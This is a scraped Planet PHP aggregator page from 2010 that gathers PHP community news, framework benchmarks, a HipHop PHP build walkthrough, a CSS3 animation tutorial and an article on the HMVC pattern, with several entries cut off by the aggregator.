cakephp-1.2.6 | 0.0406 | 193.56 | 193.84 | 193.35 | 193.27 | 192.57 | 194.75
Truncated by Planet PHP, read more at the original (another 6736 bytes)

The PHPWomen have officially announced that they will have a presence at this year's PHP UK Conference (2010) and will have a stand in the exhibition hall for those interested in the group or just want to stop off and say hello to attending members.
The PHP UK Conference is now in its fifth year and is bigger and better than ever. Friday's event has 16 different hour-long talks covering a plethora of topics from some of the world's best PHP speakers. [...] PHPWomen is a community partner of the event and will have a stand in the exhibition hall amongst a variety of other exhibitors.
Two members will be speaking at the event - Juliette Folmer and Lorna Mitchell - and there's a special offer for PHPWomen members that still haven't purchased their tickets. If you register through this link, you can get an automatic £20 discount off the normal ticket price (now going for £120). You can get more information about the conference from the main PHP UK Conference website.
framework | rel | avg | 1 | 2 | 3 | 4 | 5
------------------------ | -------- | -------- | -------- | -------- | -------- | -------- | --------
baseline-html | 1.1972 | 5702.79 | 5527.29 | 5775.74 | 5779.59 | 5671.24 | 5760.10
baseline-php | 1.0000 | 4763.50 | 4718.24 | 4751.51 | 4760.75 | 4763.68 | 4823.32
zend-1.10 | 0.1596 | 760.45 | 766.90 | 764.70 | 758.62 | 752.04 | 759.98
symfony-2.0.0alpha1 | 0.1366 | 650.61 | 641.98 | 655.41 | 653.86 | 656.68 | 645.12
solar-1.0.0beta3 | 0.1131 | 538.86 | 539.76 | 536.95 | 540.63 | 540.10 | 536.87
yii-1.1.1 | 0.0821 | 390.87 | 401.90 | 392.59 | 386.18 | 395.98 | 377.72
symfony-1.4.2 | 0.0441 | 210.22 | 211.20 | 209.78 | 210.72 | 210.49 | 208.92
cakephp-1.2.6 | 0.0406 | 193.56 | 193.84 | 193.35 | 193.27 | 192.57 | 194.75
Truncated by Planet PHP, read more at the original (another 6636 bytes)

On NETTUTS.com there's a recent tutorial - the ninth part of the "CodeIgniter from Scratch" series - posted (by Burak Guzel) for all of the users of this popular framework out there. It looks at, starting from the very beginning, how to create an upload and image manipulation script for use in the framework.
In lesson nine of our CodeIgniter series, we'll build a small image gallery that allows you to upload files, and automatically create thumbnails
He links to the previous eight parts of the series if you need to catch up as well as the source code for this installment so you can follow along with the screencast. For those more on the go, you can also download the screencast and watch it whenever.
Latest PECL Releases:
Bossa Conference, an event about mobile development with free software technologies will be held on March 7th-10th in Manaus, Brazil. This year I'm speaking about using Midgard as a replicated storage layer in mobile applications, with examples for multiple programming languages and toolkits.
The idea behind the Midgard content repository is that instead of coming up with your own file formats you can just keep working with objects and signals, and let the repository deal with the rest.

It is always fun to go to Brazil and meet the vibrant free software community there. The plan is to fly over this weekend, spend a few days in Sao Paulo and then head for the Amazon. Feel free to ping me if you're around.
Now that Facebook has finally released the source for HipHop PHP it is time to give it a spin. Of course it is still a little rough around the edges so I figured I would toss together a quick howto on getting it to build.
The first thing to note is that they are only supporting 64 bit systems officially. Having said that it isn't too hard to modify the code to make it work on a 32 bit system although it may turn out that such early modifications are missing some fundamental bits on why they were only support 64 bit systems. I'm going to assume at first that you are using a 64 bit system and then end with what you need if you are still using a 32 bit system.
I don't actually have a 64 bit system myself so I used an EC2 instance for the following instructions. To do the same start with Amazon's Basic 64-bit Fedora Core 8 (AMI Id: ami-86db39ef) instance (note that this is EBS backed so you will end up with an EBS volume after you start it) and then upgrade to Fedora 12 using my previous instructions on building a EBS bootable Fedora 12 instance. You will need to remove a few packages to get the 64 bit version of Fedora 8 to upgrade that I didn't have to do for the 32 bit version, here are all the commands you need to get to a running 64 bit Fedora 12 instance (the entire upgrade takes about 20 minutes):
# Fedora 8 to Fedora 10 yum -y remove dmraid-1.0.0.rc14-4.fc8.i386 dmraid-1.0.0.rc14-4.fc8.i386 curl-7.18.2-7.fc8.i386 yum clean all rpm -Uhv [mirror.liberty.edu] http://mirror.liberty.edu/pub/fedora/linux/releases/10/Fedora/i386/os/Packages/fedora-release-notes-10.0.0-1.noarch.rpm yum -y update # Fedora 10 to Fedora 11 yum -y remove gpm-1.20.5-2.fc10.i386 yum clean all rpm -Uvh [mirrors.usc.edu] http://mirrors.usc.edu/pub/linux/distributions/fedora/linux/releases/11/Fedora/i386/os/Packages/fedora-release-notes-11.0.0-2.fc11.noarch.rpm yum -y update # Fedora 11 to Fedora 12 yum -y remove cryptsetup-luks-1.0.6-7.fc11.i586 yum clean all rpm -Uvh [mirrors.kernel.org] http://mirrors.kernel.org/fedora/releases/12/Fedora/i386/os/Packages/fedora-release-12-1.noarch.rpm yum -y update # Make sure the basics are installed yum -y install gcc-c++ git
To start with there are some prerequisites you need. This can be taken care of in one command with yum:
yum -y install git cmake boost pcre-devel libicu-devel libmcrypt-devel oniguruma-devel mysql-devel gd-devel boost-devel libxml2-devel libcap-devel binutils-devel flex bison expat-devel
Next create a directory to hold everything in, change into that directory and create another directory to hold the customized libraries needed to compile HipHop PHP:
mkdir hiphop cd hiphop mkdir local
Next it is time to pull down the HipHop PHP source along with the source for some libraries it depends on (these all go into the hiphop directory created above):
git clone git://github.com/facebook/hiphop-php.git wget "http://downloads.sourceforge.net/project/re2c/re2c/0.13.5/re2c-0.13.5.tar.gz?use_mirror=cdnetworks-us-2" wget "http://www.threadingbuildingblocks.org/uploads/77/142/2.2/tbb22_20090809oss_src.tgz" wget [curl.haxx.se] wget [www.monkey.org] tar xvjf curl-7.20.0.tar.bz2 tar xvzf libevent-1.4.13-stable.tar.gz tar xvzf re2c-0.13.5.tar.gz tar xvzf tbb22_20090809oss_src.tgz
Next the customized patches get applied to some of the library sources and each is built to install in the custom directory:
export CMAKE_PREFIX_PATH=`pwd`/local cd tbb22_20090809oss gmake cp -Rp include/tbb/ /usr/include/ cp `pwd`/build/*_release/*.so /usr/lib/ ldconfig cd .. cd re2c-0.13.5 ./configure --prefix=`pwd`/../local make install cd .. cd libevent-1.4.13-stable cp ../hiphop-php/src/third_party/libevent.fb-changes.diff . patch < libevent.fb-changes.diff ./configure --prefix=`pwd`/../local make install cd .. cd curl-7.20.0 cp ../hiphop-php/src/third_party/libcurl.fb-changes.diff . patch -p0 < libcurl.fb-changes.diff ./configure --prefix=`pwd`/../local make install cd ..
There is one problem at this point that requires a little surgery on the HipHop PHP source itself. There is more about this in issue #6 and once it gets fi
Truncated by Planet PHP, read more at the original (another 3005 bytes)
On February 1st, we announced an enormous scripting competition on CodeCanyon with prizes equaling $6200. You now have just one week left to enter!
For those unfamiliar, Envato recently launched its newest marketplace, focused specifically on selling high-quality scripts and components for PHP, JavaScript, ASP.NET, and Java. As we’ve only recently launched, we’re hoping to build up our repository with a plethora of fantastic scripts and components, across all of the categories.
How Do I Enter?
Quite simply! To enter, prepare an item (PHP, JS, ASP.NET, or Java) of your choice for CodeCanyon, and once it has been submitted and accepted on the site, leave a comment here with a link to your item. That way, we can track it! That’s all! Then, on March 1st, 2010 (CST), my review staff and I will filter through all of the submissions and choose the best three of the bunch!
Grand Prize WinnerWe’ll that’s entirely up to you! That’s where you get to be creative. With that said, you’ll want to think of an item that will appeal to a wide variety of buyers. Ask yourself, “what sort of script or component – that’s not widely available around the web for free – have I often found myself in need of? Remember that, at this time, we’re only accepting PHP, JavaScript, ASP.NET, and Java related items.
Refer here to view the best selling items on CodeCanyon.
FAQs When is the deadline to enter?The competition will officially end on February 28th, 2010 at 11:59 PM, Central Standard Time. However, we do hope that you’ll submit before that date.
Are all items accepted on CodeCanyon?No. You’ll first go through a review process, similar to all of our other marketplaces. It’s possible that your item will be rejected, in which case, it won’t be considered.
How Will you Judge?We’ll consider many factors when determining the winners: overall sales, innovation, how much it appeals to a wide variety of buyers, etc.
Who Will be Judging?The CodeCanyon review staff will collaborate to determine the winners.
Terms and ConditionsSo get coding! There are five-thousand reasons to do so! We can’t wait to see what you come up with.
Over the weekend and into Monday we unfortunately experienced some pretty severe downtime on all Envato WordPress blogs. The downtime was due to problems in the data centre of our current hosting company which was out of our control.
It seems to all be resolved now, but I just wanted to make a quick apology for the inconvenience and interruptions. We’re going to be re-examining our hosting setup to make sure we avoid this situation in the future and to generally try to pull up the quality of service across the board.
In the meantime there may be some further minor interruptions as we shore up the setup. Thank you for your patience!
As CSS3 rolls out around the web, it is bringing some interesting new presentational techniques along with it. Today, we’ll review the basics of using CSS3 transitions and animations to add an extra layer of polish.

Tutorial Details
If you’re more of a visual learner, you can watch a video version of this article instead. Simply help give back to Nettuts+ by signing up for a Plus membership, which grants you access to the Plus content for ALL of our sites – all for $9 per month.
Already a Member?Watch the video version of this tutorial.
Step 1 – Link TransitionsTo begin, we’ll work with some basic techniques – firstly a simple change of text color when a user hovers over a specified element.
a { color:#000; }
a:hover { color:#f00; }
Here, we change the text color to red on hover. Now, with a little CSS3, we can create a much smoother look by gradually fading the color.
a{
color:#000;
-webkit-transition:color 1s ease-in;
}
a:hover{color:#f00;}
We’ve added the css property, -webkit-transition. Note that the -webkit prefix specifies that this will only work in Webkit engines, or Safari and Chrome. Luckily, other modern browsers have their own implementations as well. A full statement covering all browsers might look similar to the following:
a {
color:#000;
-webkit-transition:color 1s ease-in;
-moz-transition:color 1s ease-in;
-o-transition:color 1s ease-in;
transition:color 1s ease-in;
}
Please note that, for this tutorial, we’ll be focusing exclusively on the webkit implementation. After the declaration of the property, we have the values “color 1s ease-in.” This is the shorthand declaration; the three values represent:
In this case, we transition using ease-in, which will begin the transition slowly, and speed up into the transition.
Step 2. Background TransitionsAnother basic use of changing states is to change the background of an input box on focus.
input.ourInputBox:focus{
-webkit-transition:background-color 0.5s linear;
background:#CCC;
}
This time, we put the transition declaration into the hover state, so that we aren’t adding additional unnecessary classes to the CSS. We apply the transition once the input box acquires focus.
Step 3 – Transitioning Multiple PropertiesCSS transitions are actually relatively straight forward to add to existing hover functionality, and give your
site that extra polish for browsers that support CSS3.
To take things a step further, we can also transition multiple CSS properties using the longhand versions of the CSS3 transition.
a.thebg {
color:#000;
background:#f00;
padding:5px;
-webkit-border-radius: 5px;
-webkit-transition-property:color, background;
-webkit-transition-duration: 1s, 1s;
-webkit-transition-timing-function: linear, ease-in;
}
a.thebg:hover {
color:#f00;
background:#000;
}
This time, the background and text color changes on hover, so we can target both of these properties with our transition.
We simply split the transition: first we have -webkit-transition-property and separate the different values with a comma. So we target the color and background properties, respectively.
-webkit-transition-property:color, background;
Then we set the duration of the transition using:
-webkit-transition-duration:1s, 1s;
These are referenced in the same order as the first statement; this time, however, both values are set to 1s.
Lastly, we set the timing function, and set two different values: the first, linear, relates to our first declared variable – color; and the second relates to the variable background.
So, we’ve set the color to a linear change over one second, and the background to ease-in over that same time period.
Step 4 – Putting the Pieces TogetherCSS3 transitions start to come into their own when they’re combined with other new CSS properties.
You can review examples of using overlapping elements and transitions on Andy Clarke’s For a Beautiful Web.
Let’s create a simple example of animating a pop out sign.
We first create the bounding box for the signpost, and give it a relative positioning context to ensure that we can
position items absolutely within it.
#signpost{
width:60px;
height:196px;
position:relative;
}
Now we place the box on the page and put the pieces of our sign within it.
<div id="signpost"> <img id="post" src="post.png"> <img id="sign" src="sign.png"> </div>
Next, the post is positioned with a z-index of two, to place it on top of the sign.
#post{
width:79px;
height:196px;
z-index:2;
position:relative;
}
Now, we add in the sign, positioned underneath the post, and rotate it with the CSS3 transform property.
#sign{
height:46px;
width:80px;
position:absolute;
top:10;
left:60;
-webkit-transform-origin:0 0;
-webkit-transform: rotate(86deg);
z-index:1;
-webkit-transition:-webkit-transform 0.5s ease-in-out;
}
The sign is rotated using -webkit-transform: rotate(86deg), and is positioned under the post. To ensure that the sign rotates around the proper point, we must change the transform origin to the top left corner: 0, 0.
We set the transition to change the -webkit-transform property over 0.5s with an ease-in-out profile, and on hover, we rotate the sign back to its original orientation.
#signpost:hover #sign{
-webkit-transform:rotate(0deg);
}
We do this on the containing #signpost:hover rather than on the hover of the #sign itself.
Step 5 – Introducing Animations
We can now tie all of this together, using webkit animations, which give us the power to carry out things such as continuous rotation.
We begin by creating two circle images, and positioning them inside a containing div – as we did with the signpost above.
<div id="circles"> <img src="outer.png" width="180" height="180" class="outercircle"/> <img src="middle.png" width="90" height="90" class="middlecircle"/> </div>
#circles{
width:180px;
height:180px;
position:relative;
}
.outercircle{
width:180px;
height:180px;
position:absolute;
z-index:1;
top:0:
left:0;
}
.middlecircle{
width:90px;
height:90px;
position:absolute;
z-index:3;
top:45px;
left:45px;
}
Now we need to define the animations; we’ll spin the circles in opposite directions, so we need to set up two animations.
@-webkit-keyframes spin {
from {
-webkit-transform: rotate(0deg);
}
to {
-webkit-transform: rotate(360deg);
}
}
@-webkit-keyframes spinrev {
from {
-webkit-transform: rotate(0deg);
}
to {
-webkit-transform: rotate(-360deg);
}
}
The animation is given a name for reference, in this case “spin” and “spinrev.” Then, we assign them a to and from value; so we rotate the image from
0 deg to 360 deg using webkit transform, and to -360 for the reverse.
Now we assign this animation to the hover states. Note that, if we assigned it to the normal state, the animation would run immediately when the page is loaded.
#circles:hover .outercircle {
-webkit-animation-name: spin;
-webkit-animation-iteration-count: infinite;
-webkit-animation-timing-function: linear;
-webkit-animation-duration: 10s;
}
#circles:hover .middlecircle{
-webkit-animation-name: spinrev;
-webkit-animation-iteration-count: infinite;
-webkit-animation-timing-function: linear;
-webkit-animation-duration: 5s;
}
We reference the animation name we created earlier (-webkit-animation-name: spin;). Then, we declare the number of times we want the animation to run (-webkit-animation-iteration-count: infinite;).
In this case, infinite will keep it going round and round whilst the #circles div is hovered upon.
We next set the timing function (-webkit-animation-timing-function: linear;), and, finally, we set a duration for each iteration – in this case, it will be ten seconds (-webkit-animation-duration: 10s;), and five for a complete revolution.
Step 6 – Graceful Degredation with ModenizrOnce we have everything working, we should consider our users who are browsing without CSS3 capable web browsers. This is easily accomplished using a JavaScript library such as Modernizr, which adds classes to the HTML element relating to the browser capabilities.
Using the sign post example above, browsers that don’t support CSS transforms will not place the sign under the post correctly; so we can target these browsers and simply hide the sign until it is hovered over.
.no-csstransforms #signpost #sign{
display:none;
}
.no-csstransforms #signpost:hover #sign{
display:block;
}
It’s as simple as linking to the Modernizr script, finding the appropriate class name, and then creating a separate CSS statement for that instance.
ConclusionThat’s all for now. I hope you enjoyed it! Let me know if you have any questions/comments below!
You Also Might Like
Thanks to all the participating communities, I was able to produce the following ConFoo video. It talks about what to expect from the 2010 conference. I hope you have as much fun watching it as I had making it.

If you're new to the world of Drupal and want to get started quickly, consider reading up on these ten tips from Chris Free for a "Drupal 101" on using the highly popular content management system.
You often hear people say that the learning curve for Drupal is steep. They aren't kidding - it is. I remember when I first started Drupaling, I had so many questions [...] diving in to Drupal can be a bit daunting. In an effort to help remedy this, I've thrown together some quick-tips to steer all you beginners in the right direction.
The tips cover simple reminders like "don't forget to ask for help" or "Google it" and more detailed things like a list of basic modules it's usually good to use and to attend Drupal-related events to get out there and get to know fellow Drupal-ers.
We were discussing the difficulty of the hiring process from a company point of view last week at the github meetup in Paris, and more specifically how hard it is to get quality people without relying on test assignments, which most agree are total bullshit, or on a couple of interviews, which can also be very misleading since it depends a lot on the person's social skills, or lack thereof.
One big thing that is overlooked in my opinion is participation in open source projects, be it a single patch or long term commitment. As an employer you can see that the guy has enough interest in programming in general that he has taken the extra step to contribute something, and also that his work was accepted by a peer as valid. It is obviously not the full story and we all know some open source projects' code is utter crap (disclaimer, this also applies to closed source software, you just don't get to see it), but I still believe it gives you a better metric than just some code the guy did (or didn't) code and is presenting to you during an interview.
You can use ohloh to track your open-source-CV of sorts, and I would very much like it if more companies would push the open source involvement forward in their job ads, probably not as a requirement but at least as a big plus. It would benefit both companies that are trying to hire good people, and good people to be recognized. Of course it would also benefit the open source community at large if the work you do there gets you more recognition, pushing more people to take the leap to contribute. It is definitely helping already, if only for the contacts you get, which are always good when looking for a job, but increasing the perceived benefit of contributing to the open source world would be great, so I would very much like if all you HR people would give it a thought, and other readers please mention it to HR in your company, or your friends looking for work, your little brother starting to study, anyone can contribute.
Any other ideas on how to find great developers? Is your company using open source as a criteria? Did it help?

With the ConFoo conference quickly approaching, one of the key things to have up and working at 100% is the conference's website. Anna Filina, one of the organizers of the event, has posted about some of the processes they've gone through to make sure everything's ready.
Building a conference website as the conference was being organized is probably one of the biggest challenges I ever faced. It is also the project I'm the most proud of. I'd like to share that experience with you. By the way, the event is still in progress, so my work on the site is not done.
She talks about some of the decisions they've made so far including tossing out the code they'd had for previous sites and a list of ten priorities they wanted in the new version. These included the look and feel, features to handle the Call for Papers and selection process, monitoring tools and the ability to schedule the talks.

On the Ibuildings techPortal today there's a new post by Sam de Freyssinet about a slight modification to a well-known pattern (MVC) by adding some scalability - the Hierarchical-Model-View-Controller pattern.
It can also be very costly in time and resources to re-architect software that not scaled well. Ideally applications should grow organically as required and without large sums of money being exchanged in the process. [...] The Hierarchical-Model-View-Controller (HMVC) pattern is a direct extension to the MVC pattern that manages to solve many of the scalability issues already mentioned [in this post].
He talks about the benefits of the HMVC style and how its multiple parts work together and how it promotes code reuse more than the traditional MVC pattern. Some sample code is included so you can get your hands dirty with more than just the concepts behind the pattern including a more real-world example, their service (Gazouillement) that works similarly to twitter.

Adrian Schneider has started up a new series of posts on his blog today with part of of his look at models in the Zend Framework.
The power in Zend Framework lies in its uncompromising flexibility. However, evidently, this also means its very difficult for new ZF users to pick up the framework and hit the ground running. The most common question I see is usually "where is the model?". The goal of this post is to show some examples and hopefully some new ideas on how to tackle models. There is no one-size-fits-all solution folks. Let's look at some options and some background...
He starts off with the concept behind models, explaining how they're just a place to get your data from whether it be in a database or other resource. Processing that happens to your application's data belongs in a model. He illustrates a database model that uses the Zend_Db_Table component to connect to a backend database. There's only a bit of introductory code in this first post, so expect that to come in the parts to follow.
I wanted to play with Symfony 2 and so needed to install PHP 5.3 on my OSX 10.5. What seemed like a simple task turned into a huge waste of my time.
I use MAMP because it’s a nice out-of-the-box solution. The problem is, it still doesn’t ship with 5.3 because it’s waiting for it to be “stable”.
It’s funny that I got a similar answer a few years ago from a big web hosting company about PHP5 when it was clearly announced that PHP4 is discontinued.
I first searched for a way to upgrade PHP in MAMP and came across this nice post: [www.davidgolding.net]
Unfortunately, while following the steps, I kept getting errors because some dependencies were missing. First openssl, then libjpeg, and so on. After some time I grew tired of that catch-up game and decided to go with a product that comes with 5.3 pre-compiled.
XAMPP was my answer. You can download it here: [www.apachefriends.org]
So if you’re tired of MAMP, it’s time to switch.
EDIT:
To migrate your vhost config from MAMP, copy to XAMPP/etc/extra/httpd-vhosts.conf and enable the line that contains this path in XAMPP/etc/httpd.conf
To migrate your MySQL, my favorite method is to enable MySQL via MAMP, dump all the databases to a file (you may use MySQL Administrator for convenience), disabling MySQL via MAMP, enabling it via XAMPP and then restore your databases from the dump file.
EDIT 2:
At the time of this post, XAMPP ships with PHP 5.3.0 while Symfony 2 requires 5.3.1. Oh well, I guess I’ll just wait for them to release a new version before I play with Symfony.

In responding to some of the benchmarks posted about the speed and performance of Symfony 2 and how they truly compare to some of the other frameworks out there, Paul Jones has shared his thoughts and process on using his benchmarking system to get some differing results.
Fabien Potencier released Symfony 2.0.0alpha1 last week, along with some benchmarks showing its performance. I am glad to see that Fabien used my benchmarking system and methodology, and am happy to see that he is paying attention to the performance of his framework. I take this as an acceptance on his part that my methodology is legitimate and valid, and that it has value when comparing framework responsiveness.
Paul points out that Fabien's reporting is a bit inaccurate and goes on to talk about how his numbers are off and what a more correct version of the benchmarks would look like. He takes the testing methodology that Fabien used in his process and reapplies it to his benchmarking process using clean Amazon EC2 instances and Siege to run some response/request testing on software running on each framework. Numbers are run for three different comparisons and results are found...but you'll have to read the rest of the post to find those out.

In response to an announcement made by the phpBB group at the just-passed Symfony Live event about considerations being made to change the base platform to Symfony, Stefan Koopmanschap has posted an open letter to the phpBB community and development group with his thoughts on the potential move.
The past week was the week of Symfony Live 2010 in Paris. One of the people there was Nils Adermann, the new Lead Developer of the phpBB project. The biggest news was that phpBB is considering moving to Symfony 2 as the basis of their new version of phpBB: phpBB4.
There's an RFC posted for anyone that would like to reply back to the idea. In Stefan's response he mentions things that would be positive about the decision like not having to reinvent the wheel, getting the support of the pre-established Symfony community, making it easier to extend phpBB via Symfony code and a certain sense of security that comes with having the framework backing.

Following up on their Symfony Live conference just held in Paris last week, the Symfony blog has gathered together content from all around the web talking about the event and sharing some of the opinions from those who attended.
A conference such as Symfony Live always generates a lot of buzz. Especially when there are interesting announcements or rumours are made. This post will give you an overview of the community response to Symfony Live from various blogs and social networks.
There's plenty of content here - blog posts (in multiple languages), pictures on Flickr, a video on Vimeo and plenty of Twitter posts based on the "#sflive2010" hastag. The overall impression was great and it seemed like just about everyone in attendance (well, of those that posted about it) seemed to enjoy the event.
You can also read some of the Symfony blog's own recaps of Day 1 and Day 2 for more specifics of what happened each day.
Am kommenden Donnerstag, den 25.02.2010 findet wieder ein öffentlicher Vortrag im Mayflower Büro in München statt (Mannhardtstraße 6, S-Bahn Isartor).
Last week Lukas, Pierre and myself attended the Symfony Live 2010 conference since we have a growing interest in it lately, including a pilot project at Liip that uses symfony 1.4.
Overall the conference was quite a success I would say, they had a few organizational issues but considering it was the first international event of that scale they hosted it was really good. Most talks revolved around symfony and also doctrine since it's a major part of the symfony ecosystem, but a few sessions were held on more general topics, such as PHP performance, deploying apps to the cloud or Zend Framework. Lukas and I spoke about Liip's framework Okapi since it's second iteration, that is still in the works, is using a few symfony components. As we mentioned there we decided to use them to alleviate some of the maintenance work and benefit from the dependency injection feature, which offers amazing opportunities for customization and testing. Our slides can be found on slideshare and the Okapi2 source on our svn repository.
The highlight of the conference was obviously the announcement and release of the Symfony 2 codebase. Symfony 2, just like Okapi 2, is based on the Symfony dependency injection container component, which means it will have the same flexibility. Given the community it has, it is definitely an interesting development for us and we will follow its development closely. If it happens to fit our requirements as well as Okapi does for fully custom high performance websites we might adopt it but it is too early to say since it won't be stable until the end of the year.
The last decade has been witness to the second iteration of web design and development. Web sites have transformed into web applications and rarely are new projects commissioned that do not involve some element of interactivity. The increasing complexity of the software being developed for the internet fuelled a requirement for structured and considered application design.
Today the most common design pattern for web software is the Model-View-Controller (MVC) pattern. The widespread adoption of the MVC design pattern was supported, in part, by the success and popularity of the Ruby on Rails framework. MVC is now synonymous with web application development across all platforms.
With the rising complexity of projects developed for the web, modern software for the web increasingly relies on dedicated services to perform processor intensive tasks. This has been encouraged further by the introduction of cloud services from Amazon, Google and several others enabling developers to considerably reduce the processor load on their servers. Each service is usually designed as a separate piece of software that runs in its own domain using its own resources.
When working with small budgets, it is generally much harder to convince clients of the benefits of funding more than one complete piece of software. In these situations I have found that many clients conclude that scalability is not a concern. They “look forward to the day when they will have to worry about scaling”.
To reduce the initial investment, usually it is decided that the application should designed to be one holistic piece of software containing all the required features. This represents a potential point of failure if the software becomes very popular in a short timeframe. I have painful memories of refactoring existing codebases that have not scaled well. It can also be very costly in time and resources to re-architect software that not scaled well. Ideally applications should grow organically as required and without large sums of money being exchanged in the process.
Hierarchical-Model-View-Controller patternThe Hierarchical-Model-View-Controller (HMVC) pattern is a direct extension to the MVC pattern that manages to solve many of the scalability issues already mentioned. HMVC was first described in a blog post entitled HMVC: The layered pattern for developing strong client tiers on the JavaWorld web site in July 2000. Much of the article concentrates on the benefits of using HMVC with graphical user interfaces. There has been some suggestion that the authors where actually re-interpreting another pattern called Presentation-Abstraction-Control (PAC) described in 1987. The article in JavaWorld provides a detailed explanation of how HMVC can aid in the design of desktop applications with GUIs. The focus of this article is to demonstrate how HMVC can be used to create scalable web applications.
HMVC is a collection of traditional MVC triads operating as one application. Each triad is completely independent and can execute without the presence of any other. All requests made to triads must use the controller interface, never loading models or libraries outside of their own domain. The triads physical location within the hosting environment is not important, as long as it is accessible from all other parts of the system. The distinct features of HMVC encourages the reuse of existing code, simplifies testing of disparate parts of the system and ensures that the application is easily enhanced or extended.
To successfully design applications that implement the HMVC pattern, it is critical that all of the application features are broken down into systems. Each system is one MVC triad within the larger HMVC application, independently managing presentation and persistent storage methods. Presently few frameworks are available that support HMVC without additional extensions, or use inefficient Front Controllers and dispatching. Kohana PHP version 3 is a framework that was designed from the ground up with HMVC at the core. I will be using Kohana PHP 3 for all of the code examples in this document.
Kohana 3 uses the core request object to call other controllers. Requests can be made internally to application controllers or externally to web services transparently using the same request class[1
Truncated by Planet PHP, read more at the original (another 49126 bytes)
I'm thrilled that I'll be speaking at the 2010 edition of the Dutch PHP Conference. I've not attended or spoken at this conference before; in fact I've never been to Europe so this will definitely be a new adventure. I'm quite excited.
I'll be speaking on the topics of Technical Debt and Technical Writing, both of which I find fascinating and enjoy talking about. If you're around at the conference, I hope you are able to pop in and say hello.
My thanks to the selection committee and I really look forward to seeing friends old and new!
After SemanticScuttle gets better and better, it's time to think about providing a installation/setup wizard for people that freshly install the bookmarking application.
The current steps to setup SemanticScuttle are:
This is not easy for newbies and casual users that just want their own private boomarking site. It also makes it really easy to miss the dozens other configuration options that are not part of the config.php.dist file but are only declared in config.default.php. A better way for setup would be:
This way of installing SemanticScuttle would make installation less error-prone and more pleasing.
Now instead of writing an installer yourself, there could be tools somewhere out in the web that already to this, right? Something like NSIS , IzPack or WiX , just for PHP web applications? Something like PEAR post-installation scripts, just not only for the command line?
There are some of them, but not a single one that I liked. To save you your own investigation, here is a list of them.
Desired feature setHere is a list of features I would expect or wish to be in such a setup/configuration tool:
General featuresTruncated by Planet PHP, read more at the original (another 4554 bytes)

According to this new message posted by Scott MacVicar of Facebook, the first versions of HipHop have officially been pushed to their account on github.
Today we've pushed an initial version of HipHop onto GitHub at http://github.com/facebook/hiphop-php. This source should build on CentOS 5.2 and Ubuntu 9.10. Any specific hard to find libraries are bundled where the license permits. Remember that while we're running HipHop in production it might not yet be stable for you. You should be comfortable with this sort of software as it's the first public release.
You can read more about the release on its github wiki and how to get it installed. Issues can be reported to this list.
Job postings for the past week:
This week I worked on lowering the number of queries that SemanticScuttle needs to deliver a bookmark listing page.
Just looking at the front page of a SemanticScuttle instance with 10 or more bookmarks, not logged in, caused 37 SQL queries to be fired to the database. If you are logged in, doing the same action took SQL 54 queries!
After my optimizations, it only takes 8 queries for the front page for anonymous people and 22 for users that are logged in. The logged-in count can easily be lowered to 13 by combining the watch queries that are sent for each single bookmark to be displayed into one.
I also tried running SemanticScuttle with 32000 bookmarks which actually worked, but I got response times of over 1 second. Problem here seems to be that SemanticScuttle uses COUNT() and DISTINCT for some queries. This cannot be easily fixed, only by i.e. putting those counts as hard-coded values into the bookmark rows and updating them whenever the database changes, or doing that via a cron job.
So the next feature release of SemanticScuttle (0.97) should feel a bit snappier, especially with many concurrent users requesting pages on your server.

Trying to figure out what's broken when someone reports a bug can sometimes be one of the biggest pains for a software developer. Helpful information can be few and far between and it could be a lot better. Ralph Schindler has a new post to his blog today to show how you can create a good, helpful reproduction script that can make the live of the project's developers much simpler.
"There is a problem with component Fooey-Bar-Bazzy, I think it's related to Nanny-Nanny-Neener. Please Fix Now." If you've written a bug/issue report like that in the past with no other details - shame on you! This may come as a shock, but as great as some developers might be, they cannot read minds.
He recommends a few things that can help make your report clearer - listing out your assumptions, creating a short use case, documentation on expected and actual results and how to make the script as generic as possible. To further illustrate, he also includes a sample reproduction script for a Zend Framework bug based on this issue with plenty of commenting, reproduction code and setup/assertion methods to show where the problem lies.
Using this method does not only make it easier for the developers to find the bug, but it also means that the person finding the bug doesn't have to know the internals of the application to point out where the issue lies.
Well, I’ve been working on my project for the week and here’s the update that you were promised! (And stick with the post, there’s a live demo!) I haven’t gotten as far as I had hoped but I have learnt a lot whilst here. See the previous post for more on that and what I had planned.
Monday
I sat down with Eamon and planned out exactly what the app would do, the users and roles, and what out of that I could get done in the week. I spent the remainder of the day planning each of the “actions”, “roles” and “resources” my app would have so that I could write the app much better and understand what would be going on in it. On that day I really got a sense of object-oriented programming that I hadn’t before, mostly thanks to David and Helgi for helping me with it and finding my feet with Zend Framework and understanding the concepts behind OOP.
Tuesday
I got started with the code. Much of this day was taken up with looking up various things in the Zend documentation and trying to understand how it worked. Despite the ton of reading I had to do to find out how to make Zend do what I wanted I got a lot of the core features for the model done like adding, viewing and listing resources. The main thing I learnt was how to use Zend_Db which is a critical component to most apps using Zend since the database contains all that info!
Wednesday
I coded the remainder of the models and started on creating the interfaces and forms. The theme I was lucky to get off ThemeForest so I just dropped in the default code from Zend_Layout and that was that. Then I learnt that you really should add users before models because I had one fun time trying to add it in retrospectively using Zend_Auth and Zend_Acl.
Thursday
I just finished the journal and resource components and rounded them off. I learnt that you really should make sure your revision control is working before you screw up your code by deleting an entire library that you have no backup of. (Doh!)
Friday
Today, I finished the prototype of the app, all the components started behaving and working together. I cleaned up the user system so the Zend_Acl worked to the best of it’s potential and rewrote the library that had I deleted by accident on Thursday. I learnt that when under pressure I code faster and that you should really, really plan out and code the user system first before any other components. Also libraries are better the second time you code them!
Here’s some screenshots and a live demo for you to try out! I still have not decided on a name, so I’m just going with Project X for now


You can play around with what I’ve been working on here: [projectx.teachmetothink.com]

Brian Swan has continued his series on linking PHP and Azure (as well as SQL Server) with a new article looking at making a sample PHP script work on the platform and connecting it to a SQL Azure Server.
I'll walk you through building a very simple Web page in the same way I did in a recent post: Getting Started with the SQL Server Driver for PHP. [...] There are some differences and limitations, which I'll highlight, but not many that I encountered.
Included in the post are a few screenshots showing you how to create the Azure SQL server, using PHP to create tables in the database and, finally, running the actual script that inserts the personal information (last name, first name, email) into the table and pulling it back out again to check the results of the insert.

In an interesting post to his blog Rob Morgan shows how you can log in to a terminal from a Zend Framework application (on OS X) with the help of NodeJS.
NodeJS is a tool designed to provide an easy way to build scalable network programs. By using the I/O capabilities of NodeJS, I have built a simple TCP server that writes log messages to the OS X terminal (via STDOUT).
He shows how to take his example script and run NodeJS as a server on a local port (like 8003). You can then use his log writer plugin in your Zend Framework app to write directly to the waiting NodeJS server.
